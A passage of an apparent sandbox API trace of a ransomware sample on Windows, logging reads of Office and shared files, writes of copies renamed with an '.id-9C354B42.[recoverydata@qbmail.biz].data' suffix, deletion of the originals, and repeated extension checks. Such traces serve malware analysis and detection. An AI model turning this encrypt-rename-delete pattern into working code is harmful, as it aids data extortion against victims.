lpNumberOfBytesWritten=0x2acfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0083.487] SetEndOfFile (hFile=0x1d4) returned 1 [0083.488] CloseHandle (hObject=0x1d4) returned 1 [0083.498] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0083.498] SetEndOfFile (hFile=0x204) returned 1 [0083.500] CloseHandle (hObject=0x204) returned 1 [0083.500] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0083.500] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0083.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.501] lstrlenW (lpString=".doc") returned 4 [0083.502] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0083.502] lstrlenW (lpString=".docx") returned 5 [0083.502] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0083.502] lstrlenW (lpString=".pdf") returned 4 [0083.502] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0083.502] lstrlenW (lpString=".xls") returned 4 [0083.502] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0083.502] lstrlenW (lpString=".xlsx") returned 5 [0083.502] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0083.502] lstrlenW (lpString=".ppt") returned 4 [0083.502] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0083.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.502] lstrlenW (lpString=".zip") returned 4 [0083.502] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0083.502] lstrlenW (lpString=".rar") returned 4 [0083.502] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0083.502] lstrlenW (lpString=".bz2") returned 4 [0083.502] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.503] lstrlenW (lpString=".7z") returned 3 [0083.503] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.503] lstrlenW (lpString=".dbf") returned 4 [0083.503] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0083.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.503] lstrlenW (lpString=".1cd") returned 4 [0083.503] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.503] lstrlenW (lpString=".jpg") returned 4 [0083.503] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0083.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.503] lstrlenW (lpString=".doc") returned 4 [0083.504] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0083.504] lstrlenW (lpString=".docx") returned 5 [0083.504] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0083.504] lstrlenW (lpString=".pdf") returned 4 [0083.504] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0083.504] lstrlenW (lpString=".xls") returned 4 [0083.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0083.504] lstrlenW (lpString=".xlsx") returned 5 [0083.504] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0083.504] lstrlenW (lpString=".ppt") returned 4 [0083.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0083.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.504] lstrlenW (lpString=".zip") returned 4 [0083.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0083.505] lstrlenW (lpString=".rar") returned 4 [0083.505] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0083.505] lstrlenW (lpString=".bz2") returned 4 [0083.505] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.505] lstrlenW (lpString=".7z") returned 3 [0083.505] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.505] lstrlenW (lpString=".dbf") returned 4 [0083.505] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0083.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.505] lstrlenW (lpString=".1cd") returned 4 [0083.505] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.505] lstrlenW (lpString=".jpg") returned 4 [0083.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0083.506] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0083.506] lstrlenW (lpString="Office32WW.xml") returned 14 [0083.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0083.508] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=4274) returned 1 [0083.508] CloseHandle (hObject=0x204) returned 1 [0083.508] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0083.508] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0083.508] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0083.509] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0083.509] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0083.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0083.509] GetLastError () returned 0x0 [0083.509] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0083.641] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0083.642] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0083.642] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0083.643] SetEndOfFile (hFile=0x1d4) returned 1 [0083.643] CloseHandle (hObject=0x1d4) returned 1 [0083.644] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0083.644] SetEndOfFile (hFile=0x204) returned 1 [0083.645] CloseHandle (hObject=0x204) returned 1 [0083.645] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0083.646] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0084.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.075] lstrlenW (lpString=".doc") returned 4 [0084.075] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.075] lstrlenW (lpString=".docx") returned 5 [0084.075] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0084.075] lstrlenW (lpString=".pdf") returned 4 [0084.075] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.075] lstrlenW (lpString=".xls") returned 4 [0084.075] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.076] lstrlenW (lpString=".xlsx") returned 5 [0084.076] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0084.076] lstrlenW (lpString=".ppt") returned 4 [0084.076] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.076] lstrlenW (lpString=".zip") returned 4 [0084.076] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.076] lstrlenW (lpString=".rar") returned 4 [0084.076] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.076] lstrlenW (lpString=".bz2") returned 4 [0084.076] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.076] lstrlenW (lpString=".7z") returned 3 [0084.076] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.076] lstrlenW (lpString=".dbf") returned 4 [0084.076] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.076] lstrlenW (lpString=".1cd") returned 4 [0084.077] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.077] lstrlenW (lpString=".jpg") returned 4 [0084.077] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.077] lstrlenW (lpString=".doc") returned 4 [0084.077] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.077] lstrlenW (lpString=".docx") returned 5 [0084.077] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0084.077] lstrlenW (lpString=".pdf") returned 4 [0084.077] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.077] lstrlenW (lpString=".xls") returned 4 [0084.077] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.077] lstrlenW (lpString=".xlsx") returned 5 [0084.077] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0084.077] lstrlenW (lpString=".ppt") returned 4 [0084.077] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.077] lstrlenW (lpString=".zip") returned 4 [0084.077] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.077] lstrlenW (lpString=".rar") returned 4 [0084.078] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.078] lstrlenW (lpString=".bz2") returned 4 [0084.078] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.078] lstrlenW (lpString=".7z") returned 3 [0084.078] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.078] lstrlenW (lpString=".dbf") returned 4 [0084.078] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.078] lstrlenW (lpString=".1cd") returned 4 [0084.078] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0084.078] lstrlenW (lpString=".jpg") returned 4 [0084.078] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.078] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0084.078] lstrlenW (lpString="Content.xml") returned 11 [0084.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0084.364] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=27045) returned 1 [0084.364] CloseHandle (hObject=0x1b8) returned 1 [0084.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0084.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.365] lstrlenW (lpString=".doc") returned 4 [0084.365] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.365] lstrlenW (lpString=".docx") returned 5 [0084.365] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0084.365] lstrlenW (lpString=".pdf") returned 4 [0084.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.365] lstrlenW (lpString=".xls") returned 4 [0084.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.365] lstrlenW (lpString=".xlsx") returned 5 [0084.365] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0084.365] lstrlenW (lpString=".ppt") returned 4 [0084.365] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.365] lstrlenW (lpString=".zip") returned 4 [0084.365] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.365] lstrlenW (lpString=".rar") returned 4 [0084.365] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.365] lstrlenW (lpString=".bz2") returned 4 [0084.365] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.366] lstrlenW (lpString=".7z") returned 3 [0084.366] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.366] lstrlenW (lpString=".dbf") returned 4 [0084.366] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.366] lstrlenW (lpString=".1cd") returned 4 [0084.366] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.366] lstrlenW (lpString=".jpg") returned 4 [0084.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.366] lstrlenW (lpString=".doc") returned 4 [0084.366] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.366] lstrlenW (lpString=".docx") returned 5 [0084.366] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0084.366] lstrlenW (lpString=".pdf") returned 4 [0084.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.366] lstrlenW (lpString=".xls") returned 4 [0084.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.366] lstrlenW (lpString=".xlsx") returned 5 [0084.366] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0084.366] lstrlenW (lpString=".ppt") returned 4 [0084.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.366] lstrlenW (lpString=".zip") returned 4 [0084.367] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.367] lstrlenW (lpString=".rar") returned 4 [0084.367] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.367] lstrlenW (lpString=".bz2") returned 4 [0084.367] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.367] lstrlenW (lpString=".7z") returned 3 [0084.367] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.367] lstrlenW (lpString=".dbf") returned 4 [0084.367] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.367] lstrlenW (lpString=".1cd") returned 4 [0084.367] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0084.367] lstrlenW (lpString=".jpg") returned 4 [0084.367] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.367] lstrcmpiW (lpString1=".avi", lpString2=".data") returned -1 [0084.367] lstrlenW (lpString="correct.avi") returned 11 [0084.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.157] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=197120) returned 1 [0085.157] CloseHandle (hObject=0x184) returned 1 [0085.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0085.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.157] lstrlenW (lpString=".doc") returned 4 [0085.158] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0085.158] lstrlenW (lpString=".docx") returned 5 [0085.158] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0085.158] lstrlenW (lpString=".pdf") returned 4 [0085.158] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0085.158] lstrlenW (lpString=".xls") returned 4 [0085.158] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0085.158] lstrlenW (lpString=".xlsx") returned 5 [0085.158] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0085.158] lstrlenW (lpString=".ppt") returned 4 [0085.158] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0085.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.158] lstrlenW (lpString=".zip") returned 4 [0085.158] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0085.158] lstrlenW (lpString=".rar") returned 4 [0085.158] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0085.158] lstrlenW (lpString=".bz2") returned 4 [0085.158] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0085.158] lstrlenW (lpString=".7z") returned 3 [0085.158] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0085.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.158] lstrlenW (lpString=".dbf") returned 4 [0085.158] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0085.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.158] lstrlenW (lpString=".1cd") returned 4 [0085.158] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0085.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.158] lstrlenW (lpString=".jpg") returned 4 [0085.158] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0085.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.159] lstrlenW (lpString=".doc") returned 4 [0085.159] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0085.159] lstrlenW (lpString=".docx") returned 5 [0085.159] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0085.159] lstrlenW (lpString=".pdf") returned 4 [0085.159] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0085.159] lstrlenW (lpString=".xls") returned 4 [0085.159] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0085.159] lstrlenW (lpString=".xlsx") returned 5 [0085.159] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0085.159] lstrlenW (lpString=".ppt") returned 4 [0085.159] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0085.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.159] lstrlenW (lpString=".zip") returned 4 [0085.159] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0085.159] lstrlenW (lpString=".rar") returned 4 [0085.159] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0085.159] lstrlenW (lpString=".bz2") returned 4 [0085.159] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0085.159] lstrlenW (lpString=".7z") returned 3 [0085.159] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0085.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.159] lstrlenW (lpString=".dbf") returned 4 [0085.159] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0085.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.160] lstrlenW (lpString=".1cd") returned 4 [0085.160] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0085.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0085.160] lstrlenW (lpString=".jpg") returned 4 [0085.160] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0085.160] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.160] lstrlenW (lpString="base_rtl.xml") returned 12 [0085.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0085.339] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=617) returned 1 [0085.339] CloseHandle (hObject=0x1b0) returned 1 [0085.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 